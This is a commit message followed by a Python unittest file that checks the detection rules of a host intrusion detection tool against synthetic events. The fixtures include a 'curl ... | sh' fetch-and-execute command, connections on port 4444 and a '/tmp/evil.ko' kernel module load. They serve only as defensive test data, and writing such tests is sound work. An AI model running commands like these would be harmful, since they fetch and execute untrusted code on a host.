d835386381
Adds sidecar-only, --state-dir-gated FIM, package-DB-anchor, and rootcheck
engines to the Go migration sidecar, wired into agent.Sweep/Initialize
behind the existing baseline lifecycle. Adds a read-only, schema-checked
Python dashboard consumer (go_sidecar_state_dir, /api/go-sidecar/*, Sidecar
tab) that never starts, stops, or mutates the Go sidecar's state.
Also fixes drift found while reconciling this work: enodia_sentinel/web.py
had reinvented local schema constants instead of using the canonical
enodia_sentinel/schemas.py catalog (now registers enodia.go.sidecar.v1
there and reuses ALERT_SNAPSHOT_V1/INCIDENT_V1); docs/RULES.md had drifted
from what `rules docs` actually generates for SIDs 100069-100078 (ruleops.py
was missing metadata for four SIDs and had stale drill text for four more),
now back in sync with a regression test pinning them together.
Updates CLAUDE.md, README.md, go-agent/README.md, and docs/{ROADMAP,
GO_PORT_HANDOFF,SURICATA_ASSIMILATION,THREAT_MODEL,OPERATIONS,SCHEMAS,
COMMAND_REFERENCE}.md to reflect the landed work.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01NQivSKBqQJsayz1xcYqWzZ
274 lines
8.9 KiB
Python
274 lines
8.9 KiB
Python
# SPDX-License-Identifier: GPL-3.0-or-later
|
|
import io
|
|
import json
|
|
import os
|
|
import tempfile
|
|
import unittest
|
|
from contextlib import redirect_stdout
|
|
from pathlib import Path
|
|
|
|
from enodia_sentinel import ruleops
|
|
from enodia_sentinel.cli import main
|
|
from enodia_sentinel.config import Config
|
|
|
|
|
|
class TestRuleOps(unittest.TestCase):
|
|
def test_lists_builtin_exec_and_syscall_rules(self):
|
|
rules = ruleops.list_rules(Config())
|
|
sids = {r["sid"] for r in rules}
|
|
self.assertIn(100001, sids)
|
|
self.assertIn(100060, sids)
|
|
self.assertIn(100067, sids)
|
|
self.assertIn(100068, sids)
|
|
self.assertIn(100069, sids)
|
|
self.assertIn(100070, sids)
|
|
self.assertIn(100071, sids)
|
|
self.assertIn(100072, sids)
|
|
self.assertIn(100073, sids)
|
|
self.assertIn(100076, sids)
|
|
self.assertIn(100077, sids)
|
|
self.assertIn(100078, sids)
|
|
exec_rule = next(r for r in rules if r["sid"] == 100002)
|
|
self.assertEqual(exec_rule["event"], "exec")
|
|
self.assertIn("argv_regex", exec_rule["conditions"])
|
|
host_rule = next(r for r in rules if r["sid"] == 100067)
|
|
self.assertEqual(host_rule["event"], "tcp_connect")
|
|
self.assertIn("peer_port_exclude", host_rule["conditions"])
|
|
listener_rule = next(r for r in rules if r["sid"] == 100068)
|
|
self.assertEqual(listener_rule["event"], "listen")
|
|
self.assertIn("local_port_exclude", listener_rule["conditions"])
|
|
write_rule = next(r for r in rules if r["sid"] == 100069)
|
|
self.assertEqual(write_rule["event"], "file_write")
|
|
self.assertIn("path_prefixes", write_rule["conditions"])
|
|
cap_rule = next(r for r in rules if r["sid"] == 100077)
|
|
self.assertEqual(cap_rule["event"], "capset")
|
|
self.assertIn("capabilities_any", cap_rule["conditions"])
|
|
|
|
def test_configured_exec_rule_is_listed(self):
|
|
with tempfile.TemporaryDirectory() as d:
|
|
path = Path(d) / "rules.toml"
|
|
path.write_text("""
|
|
[[exec_rules]]
|
|
sid = 199999
|
|
msg = "test custom rule"
|
|
severity = "HIGH"
|
|
classtype = "custom-test"
|
|
exec_comm = ["id"]
|
|
""")
|
|
cfg = Config()
|
|
cfg.exec_rules_file = str(path)
|
|
rule = ruleops.find_rule(cfg, 199999)
|
|
self.assertIsNotNone(rule)
|
|
self.assertEqual(rule["origin"], "configured")
|
|
self.assertEqual(rule["conditions"]["exec_comm"], ["id"])
|
|
|
|
def test_matches_exec_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "curl http://example.invalid/x | sh"],
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100004, {a.sid for a in alerts})
|
|
|
|
def test_matches_syscall_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "payload",
|
|
"syscall": "mprotect",
|
|
"args": [0, 4096, "0x6", 0, 0, 0],
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100060, {a.sid for a in alerts})
|
|
|
|
def test_matches_host_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "tcp_connect",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"peer_ip": "8.8.8.8",
|
|
"peer_port": 4444,
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100067, {a.sid for a in alerts})
|
|
|
|
def test_host_event_common_public_port_no_match(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "tcp_connect",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"peer_ip": "8.8.8.8",
|
|
"peer_port": 443,
|
|
}
|
|
self.assertEqual(ruleops.test_event(cfg, event), [])
|
|
|
|
def test_matches_host_listen_event_json(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "listen",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 4444,
|
|
}
|
|
alerts = ruleops.test_event(cfg, event)
|
|
self.assertIn(100068, {a.sid for a in alerts})
|
|
|
|
def test_host_listen_common_port_no_match(self):
|
|
cfg = Config()
|
|
event = {
|
|
"event": "listen",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 443,
|
|
}
|
|
self.assertEqual(ruleops.test_event(cfg, event), [])
|
|
|
|
def test_matches_bind_accept_capset_and_module_load_events(self):
|
|
cfg = Config()
|
|
cases = (
|
|
(100073, {
|
|
"event": "bind",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 4444,
|
|
}),
|
|
(100076, {
|
|
"event": "accept",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"peer_ip": "8.8.8.8",
|
|
"peer_port": 51515,
|
|
"local_ip": "0.0.0.0",
|
|
"local_port": 4444,
|
|
}),
|
|
(100077, {
|
|
"event": "capset",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"comm": "python3",
|
|
"capabilities": ["CAP_SYS_ADMIN"],
|
|
}),
|
|
(100078, {
|
|
"event": "module_load",
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 0,
|
|
"comm": "insmod",
|
|
"path": "/tmp/evil.ko",
|
|
"module_name": "evil",
|
|
}),
|
|
)
|
|
for sid, event in cases:
|
|
with self.subTest(sid=sid):
|
|
self.assertIn(sid, {a.sid for a in ruleops.test_event(cfg, event)})
|
|
|
|
def test_render_markdown_documents_rules(self):
|
|
text = ruleops.render_markdown(Config())
|
|
self.assertIn("# Enodia Sentinel Event Rule Reference", text)
|
|
self.assertIn("## SID 100002:", text)
|
|
self.assertIn("Expected false positives:", text)
|
|
self.assertIn("Drill or fixture:", text)
|
|
self.assertIn("`argv_regex`", text)
|
|
|
|
def test_checked_in_rules_md_matches_generator(self):
|
|
# docs/RULES.md is a checked-in copy of `rules docs` output; a mismatch
|
|
# here means someone hand-edited the doc, or a rule's metadata, without
|
|
# updating the other.
|
|
repo_root = Path(__file__).resolve().parent.parent
|
|
checked_in = (repo_root / "docs" / "RULES.md").read_text()
|
|
self.assertEqual(ruleops.render_markdown(Config()), checked_in)
|
|
|
|
|
|
class TestRulesCli(unittest.TestCase):
|
|
def setUp(self):
|
|
self.dir = tempfile.TemporaryDirectory()
|
|
os.environ["ENODIA_LOG_DIR"] = self.dir.name
|
|
self.tmp = Path(self.dir.name)
|
|
|
|
def tearDown(self):
|
|
os.environ.pop("ENODIA_LOG_DIR", None)
|
|
self.dir.cleanup()
|
|
|
|
def _run(self, *args):
|
|
buf = io.StringIO()
|
|
with redirect_stdout(buf):
|
|
code = main(["rules", *args])
|
|
return code, buf.getvalue()
|
|
|
|
def test_list_json(self):
|
|
code, out = self._run("list", "--json")
|
|
self.assertEqual(code, 0)
|
|
rules = json.loads(out)
|
|
self.assertIn(100001, {r["sid"] for r in rules})
|
|
|
|
def test_show_text(self):
|
|
code, out = self._run("show", "100060")
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("Rule 100060", out)
|
|
self.assertIn("syscall", out)
|
|
|
|
def test_test_event_file(self):
|
|
event = self.tmp / "event.json"
|
|
event.write_text(json.dumps({
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "nginx",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "id"],
|
|
}))
|
|
code, out = self._run("test", str(event))
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("sid=100003", out)
|
|
|
|
def test_test_no_match_is_exit_one(self):
|
|
event = self.tmp / "event.json"
|
|
event.write_text(json.dumps({
|
|
"pid": 42,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/usr/bin/true",
|
|
"argv": [],
|
|
}))
|
|
code, out = self._run("test", str(event))
|
|
self.assertEqual(code, 1)
|
|
self.assertIn("No rules matched", out)
|
|
|
|
def test_docs_text(self):
|
|
code, out = self._run("docs")
|
|
self.assertEqual(code, 0)
|
|
self.assertIn("Enodia Sentinel Event Rule Reference", out)
|
|
self.assertIn("SID 100060", out)
|
|
self.assertIn("SID 100067", out)
|
|
self.assertIn("SID 100068", out)
|
|
self.assertIn("Expected false positives", out)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|